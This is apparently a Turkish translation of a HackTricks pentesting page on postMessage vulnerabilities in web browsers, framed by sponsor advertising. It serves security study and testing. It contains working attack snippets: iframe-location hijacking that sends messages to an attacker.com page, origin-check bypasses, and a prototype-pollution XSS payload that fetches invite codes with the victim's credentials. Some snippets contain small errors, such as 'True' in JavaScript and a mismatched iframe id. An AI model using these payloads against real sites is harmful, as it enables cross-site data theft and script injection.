PostMessage Vulnerabilities

PostMessage Güvenlik Açıkları

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

  • Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na(https://github.com/sponsors/carlospolop) göz atın!

  • [The PEASS Family]'yi(https://opensea.io/collection/the-peass-family) keşfedin, özel [NFT'lerimiz]'i(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz

  • Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm'da takip edin.

  • Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.

WhiteIntel, karanlık ağ destekli bir arama motorudur ve şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevler sunar.

WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:


PostMessage Gönder

PostMessage, bir mesaj göndermek için aşağıdaki işlevi kullanır:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

targetOrigin'ın '*' veya https://company.com gibi bir URL olabileceğini unutmayın. İkinci senaryoda, mesaj yalnızca o alan adına gönderilebilir (pencere nesnesinin kökeni farklı olsa bile). Eğer joker karakter kullanılırsa, mesajlar herhangi bir alana gönderilebilir ve Pencere nesnesinin kökenine gönderilir.

iframe ve targetOrigin'deki joker karakterine saldırı

Bu raporda açıklandığı gibi, X-Frame-Header koruması olmayan bir sayfa bulursanız ve bu sayfa duyarlı mesajları wildcard (*) kullanarak postMessage ile gönderiyorsa, iframe'in kökenini değiştirerek ve duyarlı mesajı sizin kontrol ettiğiniz bir alan adına sızdırabilirsiniz. Sayfa iframelenebilir ancak targetOrigin bir URL'ye ayarlanmışsa ve joker karakter kullanılmamışsa, bu hile işe yaramaz.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener sömürüsü

addEventListener, JS tarafından kullanılan işlevdir ve postMessages bekleyen işlevi bildirir. Aşağıdaki gibi bir kod kullanılacaktır:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Bu durumda kodun ilk olarak yaptığı şeyin kökeni kontrol etmek olduğuna dikkat edin. Bu, sayfanın alınan bilgilerle duyarlı bir işlem yapacaksa (örneğin şifre değiştirme gibi) son derece önemlidir. Kökeni kontrol etmezse, saldırganlar kurbanları bu uç noktalara keyfi veri göndermeye zorlayabilir ve kurbanların şifrelerini değiştirebilirler (bu örnekte olduğu gibi).

Numaralandırma

Mevcut sayfadaki olay dinleyicileri bulmak için şunları yapabilirsiniz:

  • JS kodunda window.addEventListener ve $(window).on (JQuery sürümü) arayın

  • Geliştirici araçları konsolunda şunu çalıştırın: getEventListeners(window)

  • Tarayıcının geliştirici araçlarında Öğeler --> Olay Dinleyicileri bölümüne gidin

Köken kontrolü atlatmaları

  • event.isTrusted özelliği, yalnızca gerçek kullanıcı eylemleri tarafından oluşturulan olaylar için True döndürdüğü için güvenli kabul edilir. Doğru bir şekilde uygulandığında atlatılması zor olmasına rağmen, güvenlik kontrollerindeki önemi dikkate değerdir.

  • PostMessage olaylarında köken doğrulaması için indexOf() kullanımı atlatılabilir olabilir. Bu zafiyeti gösteren bir örnek:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • String.prototype.search() yöntemi olan search() metodu, düzenli ifadeler için tasarlanmış olup, dizgiler için değil. Düzenli ifadeler dışında bir şey geçirilmesi durumunda, bu otomatik olarak düzenli ifadeye dönüştürülür ve yöntem potansiyel olarak güvensiz hale gelir. Çünkü düzenli ifadelerde nokta (.) joker karakter olarak işlev görür, özel oluşturulmuş alanlarla doğrulamayı atlatmaya izin verir. Örneğin:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • match() fonksiyonu, search() gibi düzenli ifadeleri işler. Düzenli ifade yanlış yapılandırılmışsa, atlatılabilir olabilir.

  • escapeHtml fonksiyonu, karakterleri kaçırarak girişleri temizlemek için tasarlanmıştır. Ancak yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış kötüye kullanılabilir. Özellikle, bir nesne kontrol edilecek şekilde manipüle edilebilirse ve kontrol edilen özellik hasOwnProperty'yi kabul etmezse, escapeHtml beklenildiği gibi çalışmaz. Aşağıdaki örneklerde gösterildiği gibi:

  • Beklenen Başarısızlık:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Kaçırma:

result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Bu zafiyet bağlamında, File nesnesi, salt okunur name özelliği nedeniyle dikkate değer şekilde sömürülebilir. Bu özellik, şablonlarda kullanıldığında escapeHtml fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açabilir.

  • JavaScript'te document.domain özelliği, alan adını kısaltmak için bir betik tarafından ayarlanabilir, aynı ana etki alanı içinde daha esnek aynı köken politikası uygulamasına olanak tanır.

e.origin == window.origin atlatması

%%%%%% kullanarak bir web sayfasını kumbaralı bir iframe içine yerleştirirken, iframe'ın kökeninin null olarak ayarlanacağını anlamak son derece önemlidir. Bu, kumbara öznitelikleri ve bunların güvenlik ve işlevsellik üzerindeki etkileriyle ilgilenirken özellikle önemlidir.

Kumbara özniteliğinde allow-popups belirterek, iframe'dan açılan herhangi bir açılır pencere, kendi ebeveyninin kumbara kısıtlamalarını devralır. Bu, açılır pencerenin kökeninin de null olarak ayarlandığı anlamına gelir. Bu durum, açılır pencerenin kökeninin de null olarak ayarlandığı, çünkü hem iframe hem de açılır pencere null olan aynı köken değerini paylaştığı bir senaryoya yol açar.

Bu koşullar altında bir açılır pencere açıldığında ve iframe'dan açılır pencereye postMessage kullanılarak bir ileti gönderildiğinde, hem gönderme hem de alma uçları kökenlerinin null olarak ayarlandığı için e.origin == window.origin ifadesi doğru değerlendirilir (null == null), çünkü hem iframe hem de açılır pencere null olan aynı köken değerini paylaşırlar.

Daha fazla bilgi için okuyun:

pageBypassing SOP with Iframes - 1

e.source Atlatması

İletinin, betiğin dinlediği pencereden geldiğini kontrol etmek mümkündür (özellikle Tarayıcı uzantılarından İçerik Betikleri için ilginçtir, ileti sayfanın aynı sayfadan mı gönderildiğini kontrol etmek için):

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

Bir iframe oluşturarak e.source'u bir mesajın zorla null olmasını sağlayabilirsiniz ve hemen silinir.

Daha fazla bilgi için okuyun:

pageBypassing SOP with Iframes - 2

X-Frame-Header atlatma

Bu saldırıları gerçekleştirmek için ideal olarak kurban web sayfasını bir iframe içine yerleştirebilirsiniz. Ancak X-Frame-Header gibi bazı başlıklar bu davranışı engelleyebilir. Bu senaryolarda daha az gizli bir saldırı kullanabilirsiniz. Savunmasız web uygulamasını yeni bir sekmede açabilir ve iletişim kurabilirsiniz:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Ana sayfayı engelleyerek çocuğa gönderilen iletiyi çalmak

Aşağıdaki sayfada, duyarlı postmessage verilerini çocuk iframe'ına gönderilmeden önce ana sayfayı engelleyerek veriyi göndermeden önce çalmayı ve XSS'in çocukta kötüye kullanarak verinin alınmadan önce sızdırılmasını nasıl yapabileceğinizi görebilirsiniz:

pageBlocking main page to steal postmessage

İframe konumunu değiştirerek ileti çalmak

Eğer X-Frame-Header olmadan başka bir iframe içeren bir web sayfasını iframe'leyebilirseniz, o çocuk iframe'ının konumunu değiştirebilirsiniz, böylece bir joker kullanarak gönderilen bir postmessage alan bir iframe'ın kökenini bir saldırganın kontrol ettiği bir sayfaya değiştirebilir ve iletiyi çalabilir:

pageSteal postmessage modifying iframe location

postMessage ile Prototype Pollution ve/veya XSS

postMessage aracılığıyla gönderilen verilerin JS tarafından yürütüldüğü senaryolarda, sayfayı iframe'leyebilir ve prototype pollution/XSS'yi kötüye kullanarak saldırıyı postMessage aracılığıyla göndererek sömürebilirsiniz.

Birkaç çok iyi açıklanan XSS örneği postMessage aracılığıyla https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html adresinde bulunabilir.

Bir iframe'a Prototype Pollution'ı kötüye kullanmak ve ardından XSS yapmak için bir postMessage ile kötüye kullanım örneği:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Daha fazla bilgi için:

Referanslar

WhiteIntel, şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevler sunan dark-web destekli bir arama motorudur.

WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılım saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated